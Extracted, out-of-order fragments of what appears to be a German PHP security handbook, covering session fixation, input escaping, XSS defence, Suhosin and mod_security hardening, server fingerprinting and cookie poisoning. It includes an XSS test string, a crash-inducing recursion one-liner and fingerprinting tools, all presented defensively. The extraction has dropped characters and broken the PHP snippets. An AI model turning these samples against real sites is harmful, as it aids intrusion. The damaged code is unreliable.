212. ehmen und somit die Pers nlichkeit des Benutzers annehmen Dem Entwickler stehen einige Wege offen Session Fixation zu verhindern bzw die m glichen Folgen zu mildern Wenn sich ein Benutzer an einem Session basierten System anmel det sollte stets eine neue Session ID generiert werden Daf r steht die Funktion session_regenerate_id in PHP zur Verf gung Bei jeder wichtigen Aktion wie etwa Bestell oder Bezahlvor g ngen sowie Passwort nderungen sollte eine erneute Authentifi zierung stattfinden Ein gutes Beispiel hierf r sind der Onlinebuch h ndler Amazon oder auch beliebige Onlinebanken die trotz g ltiger Session stets eine erneute Authentifizierung verlangen bevor Transaktionen durchgef hrt werden k nnen Generieren Sie nach einem erfolgreichen Login eine neue Session ID F r wichtige Aktionen ist eine erneute Authentifizierung erforderlich 7 9 Zus tzliche Abwehrmethoden F r die Verhinderung von Session Angriffen gibt es einige theoretische Ans tze Es gibt leider noch keine zufriedenstellende frei verf gbare Umsetzung dieser Ans tze 7 9 1 Page Ticket System Dieser Ansatz geht von einem Session unabh ngigen weiteren Spei chermedium aus Es wird ein Pool an langen Zufallszahlen auf dem Server generiert und auch dort gespeichert Zus tzlich wird das Ses sion System von PHP verwendet Somit existiert eine Session ID f r den Benutzer und eine Zahl aus dem Zufallszahlenpool Die Session ID
213. ehr n tig Dies muss aber explizit im Programm berpr ft werden um trotz einer Konfigurations nderung die Funktionst chtig keit des Skripts sicherzustellen strip_tags entfernt HTML Tags Maskierung von Sonderzeichen magic_quotes_gpc und addslashes 72 3 Parametermanipulation lt php if get_magic_quotes_gpc 0 string addslashes string gt Ansonsten bernimmt das die Funktion addslashes Diese stellt vor jedes Anf hrungszeichen jeden Backslash oder jedes NULL Zeichen einen zus tzlichen Backslash lt php var Chris O Connor pfad c programme test echo addslashes var gibt Chris O Connor aus echo addslashes pfad gibt c programme test aus gt htmlspecialchars und Bei der PHP Funktion htmlspecialchars bzw htmlentities werden htmlentities alle HTML Sonderzeichen in ihre entsprechenden Entity Codes umge wandelt So wird der HTML Code nicht vom Browser interpretiert sondern lediglich als Text am Bildschirm angezeigt Ein einfaches Anf hrungszeichen wird so zu 8 039 und ein doppeltes Anf hrungs zeichen wird zu amp quot Somit haben diese Sonderzeichen keinen Ein fluss mehr auf die Ausgabe bzw die Datenbank 3 4 4 _Whitelist Pr fungen Bei der Whitelist berpr fung handelt es sich um eine Pr fung auf g l tige Daten Das bedeutet nur g ltige Daten in Variablen werden an ein Subsystem wie eine Datenbank oder Dateisystem weit
214. ei hat er den Turing Test bestanden Bis heute hat noch kein Computer den Turing Test gemeistert 331 Stichwortverzeichnis A action HTML Attribut 323 addslashes 60 Alarm Skripte mod_security 293 Shell Skript 266 allow_url_fopen 59 61 228 318 always_populate_raw_post_data 317 Angriffe auf Dateisystemfunktionen 49 59 61 188 auf Shell Ebene 62 Dictionary Attacke 152 erster Ordnung 6 Man in the Middle Attacke 148 Session Riding 112 verschleiern Siehe XSS Cheat Sheet 91 zweiter Ordnung 7 Apache Modul PHP als instal lieren 214 Applikationen erkennen 38 Aussehen Layout 39 bestimmte Dateien 39 bestimmte Pfade 39 Header Felder 39 Archive gef hrliche Zip 193 Autorisierung und Authentisierung 145 Benutzernamen und Kennungen 151 CAPTCHAs 166 falsche Request Methode 163 falsche SQL Abfrage 164 Login Formulare 163 sichere Passw rter 152 SQL Injection 165 SSL 147 vergessene Passw rter 158 XSS 165 Backdoor 323 Backtick Operator 62 Betriebssystem erkennen 22 Bilder PHP Code in einf gen 191 berpr fen 190 Blacklist Pr fung 74 Blind SQL Injection 123 Bruteforcing 179 324 Buffer Overflows 246 e Cache Server 324 CAPTCHAs 166 Cast Operator 324 332 Stichwortverzeichnis CGI PHP als installieren 216 Checkliste 311 Clientseitige Validierung 75 Content Length 325 Content Type 325 Cookies 325 Cookie Poisoning 63 Cookie Parameter 126 Transport von Session IDs 172 coun
215. eich der Name der Konfigurationsdirektive Ein Beispiel w re suhosin cookie max_array_depth 100 11 5 1 Generelle Optionen Alle Optionen die mit dem Schutz der Ausf hrung von PHP Skripten zusammenh ngen werden mit dem Bereichsnamen executor mar kiert Mit der Direktive suhosin executor max_depth k nnen Sie die maximale Rekursionstiefe festlegen und Schutzverletzungen ber sich selbst aufrufende Funktionen verhindern Ein klassisches Beispiel f r eine solche rekursive Endlosschleife die bei ungebremster Ausf hrung sehr schnell f r einen Segmentation Fault sorgt ist der folgende Einzei ler der mit den blichen sprachabh ngigen Abwandlungen in prak tisch jeder Programmier oder Skriptsprache funktioniert function f f f 5 http www suhosin org 11 5 Konfiguration 261 Speichern Sie dieses Codefragment in einer PHP Datei und lassen den Interpreter diese Datei ausf hren dann bricht das Betriebssystem sowohl bei mod_php als auch per CGI oder Kommandozeile innerhalb k rzester Zeit die Ausf hrung mit einem Speicherzugriffsfehler ab Um das Skript auf eine geregelte Art und Weise abbrechen zu k nnen und nicht auf das OS vertrauen zu m ssen sollten Sie die in der Standardinstallation deaktivierte Option aktivieren und mit einer maximalen Rekursionstiefe von beispielsweise 300 versehen Leider l sst sich nicht eindeutig bestimmen wo der maximale Wert f r diese Konfigurationseinstellung liegt wa
216. eicht werden Somit ist keine SQL Injection mehr m glich Ohnehin sollten Sie in der Regel davon Abstand nehmen sich auf in Cookies gespeicherte Parameter zu verlassen denn Cookies lassen sich ebenso wie GET und POST Parameter mit einfachen Hilfsmitteln manipulieren beispielsweise durch Editieren der Textdatei in der der Browser die Cookies speichert oder durch entsprechende Browser Add ons 5 2 4 Servervariablen Die _SERVER Variablen werden h ufig von Statistikprogrammen oder von Usertracking Software ausgewertet Usertracking Software sind Programme die Benutzer einer Webseite auf Schritt und Klick verfol gen und deren Verhalten in eine Datenbank speichern Dabei werden Verweildauer auf einer Seite und unter anderem der Klickpfad durch die Webseite gespeichert Um den Browser eines Benutzers zu identifizieren wird die _SERVER L HTTP_USER_AGENT Variable verwendet Darin sind der Browser Internet Explorer Mozilla usw die Version des Browsers und das Betriebssystem gespeichert Software f r Statistiken speichern diese Variable um festzustellen wie h ufig Benutzer mit welchem Browser die Webseite besucht haben Viele Entwickler halten die _SERVER Variablen f r vertrauensw rdig das sind sie aber nicht Die Variable _SERVER HTTP_USER _AGENT wird am Client gef llt und dann an den Server geschickt Mit dem Browser Plugin User Agent Swit cher f r mozilla basierte Browser kann sie auf einfachste Art und Weise ge
217. eien haben auf produktiven Webservern nichts verloren Leere Indexdatei anlegen o 2 Informationsgewinnung Verzeichnisse und Dateien mit htaccess Dateien sch tzen Dateien mit der Endung bak oder old sollten vom Entwickler entfernt oder in ein Verzeichnis au erhalb des Hauptverzeichnisses des Web servers verschoben werden Die Dateien mit der Endung inc sollten Sie in inc php umbenen nen wenn diese keinen alleine f r sich ausf hrbaren Code enthalten Include Dateien mit reinen Funktions oder Klassendefinitionen liefern nach der Umbenennung mit inc php am Ende keinerlei Ausgaben an den Client sodass keine unerw nschte Informations bermittlung stattfindet Falls doch ausf hrbarer Code in diesen Include Dateien enthalten ist sollten diese ber htaccess Direktiven gesch tzt oder auch unter halb des Hauptverzeichnisses des Webservers abgelegt werden Der Apache Webserver erm glicht die dezentrale Verwaltung der Kon figuration mittels spezieller Dateien innerhalb des Web Verzeichnis baums Diese speziellen Dateien hei en gew hnlich htaccess In htaccess Dateien angegebene Direktiven werden auf das Verzeichnis und dessen Unterverzeichnisse angewendet in dem die Datei abgelegt ist htaccess Dateien folgen der gleichen Syntax wie die Hauptkonfi gurationsdateien des Apache Webservers Da htaccess Dateien bei jeder Anfrage eingelesen werden werden nderungen in diesen Dateien sofort wirksam Hier ein Beispie
218. eifer sofern sie eine Schwachstelle im Webserver oder den auf ihm laufenden Anwendungen entdecken in diesem Verzeichnis glei cherma en eingesperrt sind Sie k nnen also nicht auf besonders sen sible Bereiche wie etwa den Kernel zugreifen und m ssen ihr Werk im Rootjail vollbringen M chten Sie Ihren Apache mit mod_security in einem Rootjail betreiben so gen gt zun chst ein Eintrag in der Apache Konfigura tion SecChrootDir usr local apache Diesen Eintrag k nnen Sie allerdings nur in der Hauptkonfiguration also au erhalb von VirtualHost Directory oder sonstigen Bl cken setzen damit ist leider der Wunschtraum jedes Serveradministrators n mlich ein Rootjail pro virtuellem Host nicht m glich Ist der obenstehende Eintrag in httpd conf gesetzt ist das Ver zeichnis usr local apache das neue Wurzelverzeichnis f r den Web server alle anderen in der Konfiguration in PHP und anderen Skriptdateien angegebenen Pfade gehen von diesem Pfad aus Versuchen Sie etwa die Datei etc passwd in einem PHP Skript zu ffnen so wird tats chlich die Datei usr local apache etc passwd ge ffnet So werden nun auch alle Dokumentenverzeichnisse f r virtu elle Hosts und Log Dateien unterhalb des neuen Grundverzeichnisses erwartet hier m ssen Sie gegebenenfalls umfangreiche nderungen an Ihrer Konfiguration einplanen Damit auch die anderen Apache Module den Wechsel des Root Verzeichnisses mitbekommen und mit den ge ndert
219. einander abzukap seln Aber auch f r Agenturen oder andere Dienstleister ist die Kapse lung der Kunden notwendig schlie lich sollen Probleme mit dem einen Kunden nicht die anderen Mieter auf Ihrem Webserver negativ beeinflussen Sofern Sie nicht auf sogenannte VServer also mehrere virtuelle Linux Installationen auf einem physikalischen Server zur ckgreifen und all Ihre Kunden und Projekte mit demselben Webserver betreuen m ssen Sie einen Weg finden Angriffe von innen und au en zu unter binden Gleichzeitig m ssen Sie in Betracht ziehen dass manche Sicherheitsma nahmen Einschr nkungen in der Funktionalit t zur Folge haben sodass sich eine Art Priorit tsdreieck ergibt Sicherheit Features Geschwindigkeit M chten Sie m glichst viele Features erhalten dabei aber keine Abstriche bei der Geschwindigkeit machen werden Sie Abstriche bei der Sicherheit machen m ssen einen gangbaren Kompromiss aus den drei kontr ren Extremen dieses Dreiecks m ssen Sie letztlich f r sich selbst finden PHP bringt gl cklicherweise einige eingebaute Sicherheitsfeatures mit die unabh ngig von der Installationsmethode aktivierbar sind die zwei wichtigsten dieser Features sind Safe Mode und open_basedir Zun chst sollten Sie jedoch die Frage l sen auf welche Art Sie PHP installieren und absichern wollen stets unter Beachtung des Priorit tsdreiecks 10 3 Unix oder Windows 213 10 3 Unix oder Windows Alle Konfigura
220. einem Computerprogramm zu erlangen Best Practice Eigentlich ein Begriff aus der Betriebswirtschaft der bew hrte kosten g nstige und allgemein anerkannte Techniken bezeichnet In abgewandel ter Form auch f r Programmier und Entwicklungstechniken anwendbar die als vorbildlich gelten 324 D Glossar Bruteforcing F r viele Probleme gibt es in der Informatik keine effizienten Algorithmen Der nat rlichste und einfachste Ansatz zur algorithmischen L sung eines Problems besteht dann darin einfach alle potenziellen L sungen durchzu probieren Diese Methode nennt man Brute Force Beispiel Passw rter erraten CA Certificate Authority Die Certificate Authority stellt f r Nutzer und Hosts Zertifikate aus nach dem sie mit geeigneten Verfahren die Identit t gepr ft hat Sie pflegt eine Liste ung ltiger und zur ckgezogener Zertifikate Cache Server Das ist ein Server der Anfragen an Webseiten zwischenspeichert Diese Webseiten m ssen beim n chsten Aufruf aus dem Browser nicht neu aus dem Internet geladen und neu berechnet werden Hierdurch entsteht ein Geschwindigkeitsvorteil Siehe auch Proxy CAPTCHA Der Completely Automated Test to tell Humans and Computers Apart ist eine f r Menschen einfache Aufgabe beispielsweise das Ablesen eini ger verzerrter Buchstaben aus einer Grafik die aber f r einen Computer unl sbar ist CAPTCHAs sind eine Form eines Turing Tests siehe unten Cast Operator Eine
221. einer Windows Version angeboten und nicht mehr weiterentwickelt daher existieren nur noch wenige Downloadm glichkeiten Beide Werkzeuge k nnen aufgrund der verschiedenen Reaktionen auf bestimmte Anfra gen den Webserver bis auf die Versionsnummer genau bestimmen oder zumindest sch tzen Diese beiden Tools sind auf jeden Fall eine Betrachtung wert und Sie sollten beide oder zumindest eines der bei den an Ihrem Webserver ausprobieren um zu sehen wie zuverl ssig er erkannt wird 2 3 Betriebssystem erkennen Falls das Banner eines Webservers keine Informationen ber das instal lierte Betriebssystem liefert kann man sich mit anderen M glichkeiten behelfen die mehr Erfolg versprechen Fine davon ist die Verwendung automatisierter Tools wie nmap Da sich nmap auch im passiven Fin gerprint Mode betreiben l sst hat dieses Produkt den Vorteil dass keine Eintr ge in Firewall Log Dateien geschrieben werden Der pas sive Fingerprinting Modus sendet nicht aktiv Anfragepakete an ein System sondern analysiert den Netzwerkverkehr anhand mitgeschnit tener Antwortpakete Eine weitere M glichkeit ist mithilfe der Informationen in den HTTP Header Feldern zu erkennen um welches Betriebssystem es sich handelt Wie eingangs beschrieben k nnen Sie alle vom Webserver versandten Header per telnet oder livehttpheader Plugin ermitteln Ein Header mit dem Inhalt X Powered by ASP NET deutet z B auf einen 3 http www net square com httprint
222. eitskon zept wird dabei zum einen verhindert dass unsichere Programme ber haupt ausgef hrt werden zum anderen werden ausf hrbare Programme nur unter definierten Benutzerkennungen und mit einem eingeschr nkten Befehlssatz gestartet Siehe Kapitel 10 PHP Intern Templates Templates engl f r Schablonen sind HTML Vorlagen die von PHP Skripten aus mit Inhalt gef llt werden k nnen Thread Safe Anstatt in verschiedenen gleichartigen Prozessen parallel abzulaufen k n nen in einer Programmarchitektur sogenannte Threads verwendet wer den Hierbei teilen sich verschiedene Threads also Ausf hrungsabl ufe einen gemeinsamen Daten und Speicherbereich Dieses Verfahren nennt man auch Multithreading Damit die einzelnen Threads nicht gegensei tig Daten oder Speichersegmente berschreiben m ssen sie speziell pro grammiert werden der Fachbegriff daf r lautet dass sie thread safe sein m ssen Unter anderem unterst tzt der Webserver Apache Threads und damit kann auch PHP in einer Multithreading Umgebung ablaufen TLS Siehe SSL Turing Test Ein von Alan Turing im Jahr 1950 vorgeschlagener Test um Menschen und Maschinen voneinander unterscheiden zu k nnen Ein menschlicher Fragesteller f hrt ein f nfmin tiges Chatgespr ch mit zwei f r ihn nicht sichtbaren Partnern und muss herausfinden welcher der beiden ein Com puter ist Gelingt es dem Computer den Menschen zu berzeugen dass er auch menschlich s
223. eitstellt gab es in der Vergangenheit derartige Probleme und andere nicht h u fig benutzte Erweiterungen bergen vermutlich hnliche Schwierigkei ten Generell sollten Sie Vorsicht walten lassen sobald Sie Extensions in Ihr PHP integrieren die nicht zum blichen Lieferumfang geh ren Alle h ufig benutzten Extensions implementieren Safe Mode Checks in ihre Routinen zur Dateimanipulation und f r andere sicherheitsrele vante Bereiche Gerade von in PECL ausgelagerten Extensions die oft mals eher wie ein Proof of Concept als wie eine tats chliche Exten sion wirken d rfen Sie nicht erwarten dass diese safe mode safe sind also alle notwendigen berpr fungen vornehmen Gleiches gilt f r die open_basedir Direktive Nicht jede Funktion beachtet den Safe Mode unsichere Extensions k nnen ihn aushebeln Zudem tritt oftmals das im vorigen Abschnitt erw hnte Problem mit externen Binaries in der Praxis leider wesentlich h ufiger auf als man in der Theorie vermutet Nur wenige Content Management Systeme kommen ohne den Aufruf externer Dateien aus und Sie m ssen als Administrator stets mit der Gefahr leben dass ein unachtsamer Pro grammierer oder gar ein b swilliger Kunde diese systemimmanente L cke ausnutzt um Schadcode einzuschleusen und Ihren Server zu bernehmen 10 PHPintern Ein weiteres Problem tritt ein sobald Ihre Programme neue Dateien anlegen Viele PHP Skripte erlauben dem Nutzer Dateien hochzulade
224. elle durch sorglo sen Umgang mit Servervariablen entstehen kann Die zweite Direktive suhosin server encode sorgt daf r dass eine ebenfalls weitverbreitete Annahme n mlich dass in REQUEST_URI alle gef hrlichen Zeichen URL codiert sind wahr ist Insbesondere der Internet Explorer h lt sich n mlich nicht an die Konvention und schickt doppelte Anf hrungszeichen und spitze Klammern je nach dem wo sie in der URL auftauchen ohne Codierung Beides kann an geeigneter Stelle zu XSS Problemen f hren 11 5 6 Upload Konfiguration Auch nach der Korrektur der schweren Fehler in der PHP eigenen Verarbeitung hochgeladener Dateien geht von ihnen noch eine Gefahr f r viele Anwendungen aus Sei es dass Angreifer versuchen k nnten ber die Avatar Grafiken eines verwundbaren Forums eigenen Code einzuschleusen oder dass durch Benutzer einer Dateiaustauschplatt form virenverseuchte Dateien eingeschleppt werden Suhosin hat daf r eine L sung Es erm glicht zum einen hochgeladene ELF Bina ries also unter Linux ausf hrbare Dateien automatisch direkt nach dem Upload und bevor das PHP Skript sie weiterverarbeiten kann zu l schen Damit kann der Administrator verhindern dass Angreifer bei entsprechend verwundbaren PHP Versionen oder PHP Applikationen Dateien hochladen die sie sp ter zur Kompromittierung des Systems z B durch ein Rootkit verwenden k nnten Au erdem kann jede Datei nach dem Upload durch ein Shell Skript berpr ft werde
225. em Pool gel scht und eine neue ausgelesen Diese wird wieder an die URL aller Links auf index2 php angeh ngt Au erdem wird am Ende wieder eine neue Zahl in den Pool eingef gt 9 Stimmen die Zahlen nicht berein ist die Zahl nicht mehr im Pool enthalten fehlt der Pool auf dem Server oder ist der Parameter token leer so wird die Session beendet und alle Daten gel scht 10 Ein Cronjob oder eine Funktion des Page Ticket Systems sorgt da f r dass alle Pools die lter als 10 Minuten sind vom Server ge l scht werden Dieser Ansatz verspricht ein Plus an Sicherheit sch tzt aber nicht vollst ndig vor Session Hijacking Session Fixation ist mit dieser Ma nahme nur noch 10 Minuten lang m glich Denn der Angreifer ben tigt immer die Zufallszahl die in der Session gespeichert ist Au erdem muss der Pool an Zufallszahlen auf dem Server existieren Dieser wird ja nach 10 Minuten Unt tigkeit gel scht Ein gro er Nachteil dieses Ansatzes ist es dass die Back Funktionalit t des Browsers nicht mehr korrekt funktioniert Beim Zur ckspringen auf eine Seite in der Historie des Browsers ist die Zufallszahl bereits ung ltig Zus tzliche Zufallszahlen auf dem Server speichern s4 7 Sessions Automatische L schung der Session ID aus dem Referrer 7 9 2 Session Dateien mittels Cronjob l schen Unabh ngig von der Ma nahme ein Ticket System zu verwenden kann man die Session Dateien im tempor ren Ver
226. em sie nicht erw nscht ist Obgleich hier dank strip_tags kein fremder Skriptcode zur Aus f hrung kommt kann eine derartige L cke genutzt werden um fremde Inhalte in Ihre Webseite einzuf gen und sie so umzugestalten zu defacen wie derlei Aktionen im Jargon bezeichnet werden Im String enthaltene Anf hrungszeichen m ssen demnach vor der Weiterverarbeitung also insbesondere der Speicherung oder Ausgabe entsch rft werden um XSS zu vermeiden Der zugeh rige Aufruf von htmlentities sieht so aus str htmlentities str Sonderzeichen filtern ss 4 Cross Site Scripting Nach der Behandlung mit htmlentities bleibt von dem XSS String Folgendes brig amp quot amp gt alert Aquot XSS amp quot Alle Metazeichen sind korrekt in ihre HTML Entit ten aufgel st der XSS Angriff ist abgewehrt Falls Sie statt doppelten Anf hrungszeichen einfache Anf h rungszeichen in Ihren HTML Tags verwenden k nnen Sie htmlentities anweisen auch diese einfachen Anf hrungszeichen in HTML Entit ten umzuwandeln Der optionale zweite Parameter muss daf r einfach auf die Konstante ENT_QUOTES gesetzt werden Der voll st ndige Aufruf von htmlentities s he also in etwa so aus str htmlentities str ENT_QUOTES Da dieser Funktionsaufruf anders als der vorige auch einfache Anf h rungszeichen umwandelt werden praktisch alle M glichkeiten f r Angreifer HTML Tags oder Attribute zu schlie
227. emeldete IP X Forwar ded For ebenfalls mitloggen lassen 11 1 11 Transparente Cookie und Session Verschl sselung Applikationen speichern oftmals sensitive Daten wie Passw rter Pass worthashes oder Session IDs in Cookies Da bei der Verwendung von HTTP ohne SSL diese Daten unverschl sselt durch das Netz geschickt werden sind sie auf einfache Weise abh rbar und f r weitere Angriffe ausnutzbar Um das zu verhindern kann Suhosin diese Daten automa tisch verschl sseln sodass der Inhalt der Daten nicht mehr abh rbar ist Dar ber hinaus kann Suhosin die Verschl sselung an Nutzerdaten wie Browserversion oder IP koppeln womit es f r einen Angreifer erschwert wird die verschl sselten Cookies eines anderen f r eigene Zwecke zu missbrauchen Ebenso kann der Inhalt der Session ver schl sselt und an die Nutzerdaten gebunden werden wodurch Session Hijacking und Fixation erschwert wird 11 PHP Hardening 11 1 12 H rtung des Speicherlimits F r Hosting Firmen besonders interessant ist die M glichkeit das Speicherlimit mit der PHP Direktive memory_limit gesetzt zu sch t zen damit es nicht mehr per ini_set oder htaccess ge ndert werden kann So vermeiden Serverbetreiber dass speicherhungrige Skripte sich mehr Speicher zuteilen als sie eigentlich bekommen sollten 11 1 13 Transparenter phpinfo Schutz Viele Entwickler laden zu Debuggingzwecken phpinfo Dateien auf Produktivsysteme die meist auch noch von andere
228. en sollte ein Webserversystem so sicher wie m glich konfiguriert werden Angefangen bei der Modifikation des Betriebssystems ber die sichere Konfiguration von PHP und Datenbank hinaus muss sich die Auf merksamkeit auch verst rkt auf die Webanwendung richten die meist das gr te Sicherheitsrisiko darstellt Vor allem Besitzer eines soge nannten Root Servers sollten dieses Kapitel aufmerksam lesen denn sie sind in aller Regel allein f r ihren Server verantwortlich ebenso Administratoren von Firmen und Projektservern Die in diesem Kapitel verwendeten Konfigurationsoptionen und Tests beziehen sich auf den Apache Webserver 1 3 40 oder 2 0 63 bzw auf den Microsoft Internet Information Server 6 0 Verwendet wurde PHP in der Version 5 2 5 MySQL 4 1 10 kam als Datenbanksystem zum Einsatz 2 2 Webserver erkennen Es gibt mittlerweile viele freie und auch kommerzielle Webserver der am meisten verbreitete ist der Netcraft Serverstatistik zufolge der kostenlose Apache Webserver So wurden im Dezember 2007 nahezu 50 aller Webserver mit Apache betrieben Apache aber auch die meisten anderen Webserver unterst tzen die Skriptsprache PHP in ver schiedenen Variationen CGI Modul FastCGI Jeder dieser Webser ver behandelt bestimmte Anfragen anders und anhand dieser verschie denen Verhaltensweisen k nnen Sie einen Webserver fast eindeutig identifizieren 1 http news netcraft com archives 2007 12 29 december_2007_web_server_survey
229. en geben Sie Ihrer Gegenseite also demjeni gen der Sie zweifelsfrei identifizieren will die Informationen die zur Authentifizierung ben tigt werden 6 1 2 Authentifizierung W hrend Sie bei der Authentisierung noch selbst gehandelt und Ihrem Kommunikationspartner Informationen gegeben haben sind Sie bei der Authentifizierung nur das Objekt nicht mehr das Subjekt Ihr Partner also die Website auf der Sie sich gerade anmelden das EC Terminal im Supermarkt oder der Polizeibeamte bei der Verkehrskont rolle verwendet nun die von Ihnen zur Verf gung gestellten Informa tionen um Sie zu authentifizieren Diese Informationen werden gegen einander aber oft auch gegen zus tzliche Informationen die der Gegenstelle zur Verf gung stehen abgeglichen etwa gegen eine Benut zerdatenbank Passt die PIN nicht zur EC Karte der Benutzername nicht zum Passwort oder die Fingerabdr cke zum Fahndungsprofil so schl gt die Authentifizierung fehl und Ihr Kommunikationspartner kann nicht sicher sein mit wem er gerade kommuniziert Die Authen tifizierung ist also die berpr fung der Authentisierung 6 1 3 Autorisierung Zuvor ging es um Ihre Identit t nachdem Sie sich authentisiert haben wurden Sie authentifiziert Die Website auf der Sie sich nun erfolgreich angemeldet haben verwendet jetzt Ihr zuvor gespeichertes Nutzerprofil um festzustellen was Sie d rfen Nichts anderes ist Autorisierung die Ermittlung welche Aktionen Si
230. en versteckte Formularfelder ver ndern Cookies und Header manipulieren und sich Informationen ber die aktuelle Seite anzeigen lassen Mit Tamper Data schlie lich k nnen Sie s mtliche vom Browser versandten HTTP Anfragen und die Serverantworten darauf zur ck verfolgen einzelne Requests wiederholen und sie mit dem Tamper Modus zur Laufzeit beliebig modifizieren Um zu testen ob HTTP Request Header f r die Injektion von Parametern genutzt werden k n nen ist dieses Plugin unverzichtbar da es anders als Modify Hea ders f r jeden einzelnen Request eine andere Konfiguration zul sst Die Hack Bar ist eine Erweiterung die Ihnen in einem prakti schen Interface einige Werkzeuge zur Verf gung stellt um eine URL schnell manipulieren und wieder abschicken zu k nnen So k nnen URLs an Parametergrenzen auseinandergenommen und einige h ufig ben tigte Funktionen wie Base64 Codierung MDS Hashing aber auch die MySQL Funktion CHAR per Mausklick auf die Parameter angewandt werden 3 2 Werkzeuge zur Parametermanipulation sil E Tamper beginnen Tamper beenden Liste L schen Optionen Hilfe Browsers s VALIDATE _ALWAYS LOAD_DOCUM 250 ms 625 ms 1 GET 200 text html 125 ms 125 ms 1 GET 200 textjess OAD_NORMAL 94ms 94ms 1 GET 304 i OAD_ONLY_IF_MODIFIED VALID 17 21 26 265 78 ms 78ms 1 GET 304 application x unknown http www LOAD_ONLY_IF_MODIFIED VALID 17 21 26 281 78ms 7ems 1
231. en Anf hrungszeichen sorgt daf r dass diese Zeichenkette als eine einzige sichere Anweisung ausgef hrt wird 3 3 Angriffsszenarien und L sungen 63l escapeshellarg Diese Funktion maskiert alle m glichen Zeichen in einer Zeichenkette die dazu benutzt werden k nnten einen Shell Befehl zur Durchf h rung von willk rlichen Befehlen zu veranlassen Diese beiden Funktio nen sollten bei Zugriffen auf das Dateisystem per Konsolenbefehlszeile immer verwendet werden Damit ist zumindest ein Grundschutz erreicht Andere M glichkeiten wie z B eine Whitelist berpr fung sollten aber vorgezogen werden 3 3 6 Cookie Poisoning Cookie Poisoning Angriffe sind die Modifikation von Cookie Inhal ten mit dem Ziel Security Mechanismen zu umgehen Cookie Inhalte sind ebenso Daten wie GET oder POST Diese werden vom Server an den Client bermittelt und dort gespeichert Sie werden bei jeder Anfrage an den Server wieder mit bermittelt Das Verfahren zum Set zen von Cookies deren bertragung und Auswertung ist in RFC 2965 beschrieben Werden diese Daten am Client ge ndert k nnen so falsche und auch gef hrliche Daten an den Server bertragen werden Mithilfe von Cookie Poisoning Angriffen ist es m glich Informa tionen ber andere Benutzer zu erhalten oder deren Identit t komplett zu entwenden Viele Applikationen verwenden Cookies um Informationen wie User ID Account Daten Zeitstempel usw zu speichern Diese Cookies w
232. en Informationen in zwei PHP Variablen namens SUHOSIN_ERROR und SUHOSIN_ERRORCLASS suhosin log script name home www htdocs freya logscript sh suhosin log phpscript name home www htdocs freya logscript php Befindet sich Ihr Webserver hinter einem Reverse Proxy oder werden viele eingehende Anfragen durch einen Proxy geschleust so ist es sinn voll statt der eigentlich in der Anfrage enthaltenen die vom Proxy im X Forwarded For Header bergebene IP Adresse mitzuloggen M chten Sie das tun k nnen Sie die Direktive suhosin log use x for warded for verwenden Die urspr ngliche IP wird dann jedoch bei Angriffen nicht mehr geloggt suhosin log use x forwarded for On 11 5 3 Alarmskript Mit einem sehr kurzen Shell Skript k nnen Sie daf r sorgen dass alle eingehenden Alarme direkt an Ihre Mailadresse weitergeleitet werden dazu sollte jedoch die Direktive suhosin log script S_ALL gesetzt sein Ihrer Fantasie sind dabei keine Grenzen gesetzt da dem Shell Skript als ersten Parameter die Art des Alarms von Suhosin bergeben wird k nnen Sie anhand dessen z B verschiedenen Ansprechpartnern eine Mail schicken in eine Log Datei schreiben oder andere Aktionen wie einen IP Block per IPTables ausf hren bin bash HOST uname n MAIL ihre mailadresse de if 1 EXECUTOR then echo Datum date Alarm 2 mail s Suhosin Alert Laufzeit Verstoss auf HOST MAIL elif 1 INCLUDE then echo Datu
233. en Sie auf die PEAR Klasse PEAR Text_Captchal zur ckgreifen Sie l sst sich mit dem PEAR Kommando pear install f Text_Captcha 13 http pear php net package Text_Captcha 6 4 Spamvermeidung mit CAPTCHAs 169 von der Kommandozeile installieren oder auf die f r Sie bliche Art in Ihre PEAR Installation einf gen Mit einem kurzen PHP Skript das hnlich wie in unserem Beispiel auch im Paket enthalten ist k nnen Sie die Funktionsweise der CAPTCHAs testen lt php session _start filename md5 session_id png captcha_ok FALSE msg Bitte geben Sie die Zeichenfolge auf dem Bild im obenstehenden Textfeld ein if isset _POST captcha if isset _POST captcha amp amp isset _SESSION captcha amp amp strlen _POST captcha gt 0 amp amp strlen _SESSION captcha gt 0 8 amp amp _POST captcha SESSION captcha msg berpr fung OK captcha_ok TRUE else msg Eingabe inkorrekt bitte nochmals versuchen unlink filename if captcha_ok require_once Text CAPTCHA php imageoptions array font_size gt mt_rand 16 36 font_path gt font_file gt arial ttf c Text_CAPTCHA factory Image o array width gt 200 height gt 80 output gt png image_options gt imageoptions if PEAR isError c gt init options echo CAPTCHA konnte nicht erstellt werden exit
234. en Sie sowohl f r direkt aufgeru fene PHP Funktionen als auch f r Code der ber eval ausgef hrt wird je eine Black und Whitelist definieren Die Whitelist enth lt jene Funktionen die ausgef hrt werden d rfen alle anderen Aufrufe f h ren zu einer Fehlermeldung und dem Abbruch des Skripts Suhosin erlaubt zus tzlich nicht nur einzelne Funktionen zu ver bieten sondern generell das Evaluieren von Programmcode ber die Funktion eval oder durch den e Modifier der preg_replace Funk tion abzuschalten In Kombination mit dem Simulationsmodus ist es auf diese Weise m glich alle Aufrufe von preg_replace zu finden die den e Modifier nutzen und sie durch die viel sicherere preg_replace_ callback Funktion zu ersetzen 11 1 7 Schutz gegen Response Splitting und Mailheader Injection Um die im Kapitel 3 Parametermanipulation vorgestellte Sicher heitsl cke ber HTTP Response Splitting zu verhindern unterdr ckt die Suhosin Extension die Angabe mehrerer Header in einem Aufruf der PHP Funktion header Damit sind die Unterbrechung des Requests und damit verbundene Angriffe nicht mehr m glich Ein hnliches Sicherheitsproblem innerhalb der Funktion mail das dazu genutzt werden kann z B zus tzliche BCC Mailheader in E Mails zu schmug geln wird ebenfalls abgefangen 11 1 8 Variablenschutz Viele L cken unter anderem einige kritische Probleme mit der CMS Software Mambo kamen zustande weil ber aufwendige
